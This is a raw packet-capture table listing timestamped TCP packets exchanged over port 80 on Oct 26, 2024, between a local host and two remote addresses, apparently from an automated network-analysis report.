Oct 26, 2024 05:54:54.425578117 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425584078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425612926 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425626040 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425662994 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425666094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425697088 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425715923 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425740004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425748110 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425797939 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425805092 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425838947 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425858021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425879002 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425879955 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425909996 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425920010 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425945044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425951958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425980091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425987005 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.426014900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.426021099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.426049948 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.426058054 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.426084042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.426095009 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.426126003 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.426139116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.426172972 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.426187992 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.426208973 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.426215887 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.426245928 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.426250935 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.426280975 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.426286936 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.426314116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.426321030 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.426354885 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.428545952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.428575993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.428601980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.428627014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.428656101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.428668976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.429491043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429519892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429542065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.429610014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429639101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429651976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.429707050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429734945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429748058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.429788113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429816008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429828882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.429850101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429894924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.429903030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429932117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.429971933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.430100918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.430129051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.430162907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.430170059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.430217028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.430244923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.430255890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.430366039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.430394888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.430407047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.471609116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.471657038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.471694946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.471777916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.515203953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.515250921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.515289068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.515327930 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.558532953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.558638096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.558691025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.558726072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.558737993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.558758974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.558760881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.558814049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.558815956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.581741095 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.581811905 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.581832886 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.581846952 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.581866026 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.581897020 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.581897974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.581934929 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.581944942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.581970930 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.581983089 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582015991 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582024097 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582067013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582075119 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582108974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582119942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582144022 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582158089 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582180023 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582190037 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582220078 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582232952 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582268000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582290888 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582299948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582300901 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582309008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582335949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582353115 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582380056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582465887 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582515001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582518101 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582554102 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582567930 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582600117 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582623005 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582657099 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582669020 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582693100 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.582696915 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582736015 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.582952976 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.583003044 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.583015919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.583050013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.583065987 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.583084106 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.583096027 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.583125114 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.583177090 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.583223104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.589838982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.589893103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.589894056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.589921951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.589971066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.590848923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.590903044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.590931892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.590946913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.590984106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591012955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591025114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.591063023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591092110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591104984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.591207027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591233969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591248035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.591284037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591327906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591331959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.591597080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591645956 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.591649055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591681957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591764927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591768980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.591800928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.591840029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.632738113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.632805109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.632837057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.632870913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.632950068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.632950068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.675868988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.675900936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.675955057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.675980091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.675983906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.676026106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.720072031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.720109940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.720148087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.720153093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.720179081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.720216036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.720221996 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.720251083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.720292091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.738843918 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.738898993 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.738919020 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.738935947 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.738951921 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.738970995 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.738977909 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739005089 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739015102 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739051104 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739062071 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739099026 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739109993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739130974 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739141941 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739227057 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739234924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739284039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739294052 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739342928 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739346981 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739382982 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739393950 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739418030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739427090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739460945 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739476919 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739510059 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739523888 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739547014 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739553928 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739582062 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739593029 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739617109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739626884 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739660025 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739670038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739703894 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739737988 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.739743948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739764929 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.739778042 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.740015984 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.740046024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.740067005 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.740087986 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.740098953 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.740128994 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.740143061 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.740170002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.751081944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.751111984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.751159906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.751166105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.751197100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.751238108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.752007008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752036095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752082109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.752088070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752115965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752161980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.752233028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752260923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752367973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752396107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752398014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.752440929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.752448082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752476931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752516031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.752599001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752628088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752665997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.752711058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752763987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752796888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752803087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.752860069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752896070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752903938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.752924919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.752969027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.779262066 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.779308081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.779359102 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.779378891 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.779392004 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.779422998 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.779437065 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.793862104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.793961048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.793988943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.794012070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.837862015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.837920904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.837929010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.837949991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.837982893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.837996006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.880388975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.881454945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.881506920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.881542921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.881557941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.881577015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.881611109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.881628036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.895724058 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.895757914 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.895792007 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.895792007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.895828962 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.895828962 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.895922899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.895989895 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.895989895 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896022081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896039963 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896069050 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896075010 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896122932 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896126986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896161079 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896167040 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896203995 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896256924 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896307945 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896310091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896344900 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896353006 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896389008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896486044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896519899 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896537066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896562099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896725893 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.896775961 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.896833897 CEST	80	49745	185.215.113.206	192.168.2.4
